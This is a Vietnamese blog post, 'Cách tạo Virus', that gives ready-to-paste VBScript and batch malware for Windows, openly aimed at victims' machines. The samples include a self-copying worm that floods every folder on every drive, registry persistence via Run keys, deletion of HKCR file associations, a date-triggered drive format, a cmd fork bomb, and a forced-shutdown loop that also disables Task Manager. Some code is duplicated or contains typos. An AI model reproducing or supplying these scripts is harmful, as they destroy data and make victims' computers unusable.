Cách tạo Virus
while true wend lưu với đuôi .vbs Đây mới chỉ là virus, nếu viết autorun cho nó nữa thì cực kỳ nguy hiểm, con này mỗi lần chạy thì nó chiếm ...
while true
wend
wend
lưu với đuôi .vbs
Đây mới chỉ là virus, nếu viết autorun cho nó nữa thì cực kỳ nguy hiểm, con này mỗi lần chạy thì nó chiếm 100% cpu của 1 luồng dữ liệu. Với máy core 2duo thì click 2 phát CPU 100%, core i3, i5 thì click 4 lần. Sau khi bị chiếm 100% cpu muốn tắt đi thì vào Task Manager tắt hết những chương trình có đuôi vbscript đang chạy. Đó là virut chạy do con người điều khiển, còn nếu viết thêm autorun để nó chạy tự động, giả sử số lần click là lớn hơn 10 thì thôi rồi, chỉ có cài lại win.
Loại virus mình giới thiệu sau đây có tác dụng làm quá tải RAM của máy tính ,máy tính nạn nhân chỉ có một màu đen,khởi động lại cũng không ăn thua ,cách làm như sau :mở notepad lên và chép dòng mã lệnh dưới vào:
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
msgbox"May tinh cua ban bi nhiem virut",,"Danger"
msgbox"May se bi lag trong 2s",,"Danger"
msgbox"Ban con 1s",,"Danger"
msgbox"Ban con 0s",,"Danger"
msgbox"May da bi nhiem virus",,"Danger"
Me.visible=false
App.Taskvisible=false
Do
Me.visible=false
App.Taskvisible=false
treomay.run "notepad",false
loop
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
msgbox"May tinh cua ban bi nhiem virut",,"Danger"
msgbox"May se bi lag trong 2s",,"Danger"
msgbox"Ban con 1s",,"Danger"
msgbox"Ban con 0s",,"Danger"
msgbox"May da bi nhiem virus",,"Danger"
Me.visible=false
App.Taskvisible=false
Do
Me.visible=false
App.Taskvisible=false
treomay.run "notepad",false
loop
Lưu với đuôi .bat
Loại virus có khả năng mỗi khi bấm sẽ tạo ra một thư mục và làm cho máy tính nạn nhân tràn ngập virus,mở notepad lên và chép đoạn mã bên dưới vào :
- 'Thuoc Doc !!!
- Dim fso,file,VBCopy
- Set fso=CreateObject("Scripting.FileSystemObject")
- Set file=fspenTextFile(WScript.ScriptFullName,1)
- VBCopy=file.ReadAll
- FolderList("A:")
- FolderList("B:")
- FolderList("C:")
- FolderList("D:")
- FolderList("E:")
- FolderList("F:")
- FolderList("G:")
- FolderList("H:")
- FolderList("I:")
- FolderList("J:")
- FolderList("K:")
- FolderList("L:")
- FolderList("M:")
- FolderList("N:")
- FolderList("O:")
- FolderList("P:")
- FolderList("Q:")
- FolderList("R:")
- FolderList("S:")
- FolderList("T:")
- FolderList("U:")
- FolderList("V:")
- FolderList("X:")
- FolderList("Y:")
- FolderList("Z:")
- FolderList("W:")
- Sub FolderList(FolderSpec)
- On Error Resume Next
- Dim f,f1,sf,COP,CAP
- Set f=fso.GetFolder(FolderSpec)
- set sf=f.SubFolders
- For Each f1 In sf
- Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
- COP.write VBCopy
- Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
- CAP.write VBCopy
- FolderList(f1.Path)
Next
End sub
End sub
Lưu với đuôi .vbs
Sau đây là đoạn code để giải virus thuốc độc ở trên ,mở notepad lên chép code sau vào:
- 'Thuoc Giai !!!
- Dim fso,file,VBCopy
- Set fso=CreateObject("Scripting.FileSystemObject")
- Set file=fspenTextFile(WScript.ScriptFullName,1)
- VBCopy=file.ReadAll
- FolderList("A:")
- FolderList("B:")
- FolderList("C:")
- FolderList("D:")
- FolderList("E:")
- FolderList("F:")
- FolderList("G:")
- FolderList("H:")
- FolderList("I:")
- FolderList("J:")
- FolderList("K:")
- FolderList("L:")
- FolderList("M:")
- FolderList("N:")
- FolderList("O:")
- FolderList("P:")
- FolderList("Q:")
- FolderList("R:")
- FolderList("S:")
- FolderList("T:")
- FolderList("U:")
- FolderList("V:")
- FolderList("X:")
- FolderList("Y:")
- FolderList("Z:")
- FolderList("W:")
- Sub FolderList(FolderSpec)
- On Error Resume Next
- Dim f,f1,sf,COP,CAP,ATT
- Set f=fso.GetFolder(FolderSpec)
- set sf=f.SubFolders For Each f1 In sf
- 'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
- 'COP.write VBCopy
- 'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
- 'CAP.write VBCopy
- 'Set ATT=fso.GetFolder(f1.Path)
- 'ATT.Attributes=ATT.Attributes+2
- fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
- fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
- FolderList(f1.Path)
Next
End sub
End sub
Lưu với tên .vbs
Con virus sau có khả năng xóa key file của máy tính nạn nhân và đây là một trong số mấy con nguy hiểm nhất ở đây,mở notepad lên gõ lệnh sau:
- @ECHO OFF
- START reg delete HKCR/.exe
- START reg delete HKCR/.dll
- START reg delete HKCR/*
- :MESSAGE
- ECHO Your computer has been fcked. Have a nice day.
- GOTO MESSAGE
- Lưu với đuôi.bat
- Bomb virus ,chép code vào notepad như sau :
- If %date% NEQ 2009/11/25 goto exit
- format E: /y >nul
- :exit
- exit
- Lưu với đuôi.bat
- Làm loạn nút Caps Lock ,chép code sau vào:
- Set wshShell =wscript.CreateObject(”WScript.Shell”)
- do
- wscript.sleep 100
- wshshell.sendkeys “{CAPSLOCK}”
- loop
Lưu với đuôi.bat
Virus làm ngưng hệ thống máy tính ,chép code sau vào notepad:
- @echo off
- start calc
- tskill msnmsgr
- tskill firefox
- tskill iexplore
- tskill LimreWire
- tskill explorer
- tskill explorer
- tskill explorer
- tskill explorer
- tskill explorer
pause
Lưu với đuôi.bat
Con virus dưới đây vô cùng đơn giản nhưng gây hại cũng khá ,nó sẽ tạo ra liên tục các bản cmd làm ngưng hoạt động của máy tính nạn nhân ,buộc nạn nhân phải tắt máy nhưng một đều rằng khó mà có thể tắt máy trừ khi cúp cầu dao thôi ,mỏ notepad lên chép đoạn mã dưới vào:
start 111.cmd
Lưu với đuôi.cmd
Con virus dưới đây vô cùng khủng khiếp khi nạn nhân click bất kì thứ gì thì 5 giây sau máy sẽ tự động tắt ,không những như vậy khi mở máy lại cũng 5 giây tự tắt ,mở notepad và chép đoạn mã sau vào:
- reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
- reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
- cls
- copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
- cls
- taskkill /f /im explorer.exe
- cls
- shutdown.exe -f -s -t 05 -c "your computer will turn off after 5s ..."
- cls
- @echo off
- echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
- echo GOOD BYE
- pause
- del Mr.Boss.bat
- Lưu với đuôi .bat
- Nếu bạn cho chạy kèm với con này thì khả năng của nó là vô đối và hầu như là bất diệt,đoạn mã sau :
- eg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f
- reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
- cls
- copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
- cls
- taskkill /f /im explorer.exe
- cls
- @echo off
- echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
- echo GOOD BYE SEE YOU AGAIN
- pause
- del Mr.Boss.bat
Lưu với đuôi .bat
Cách tạo Virus
Reviewed by Huỳnh Đức Lợi
on
21:33
Rating:
Không có nhận xét nào: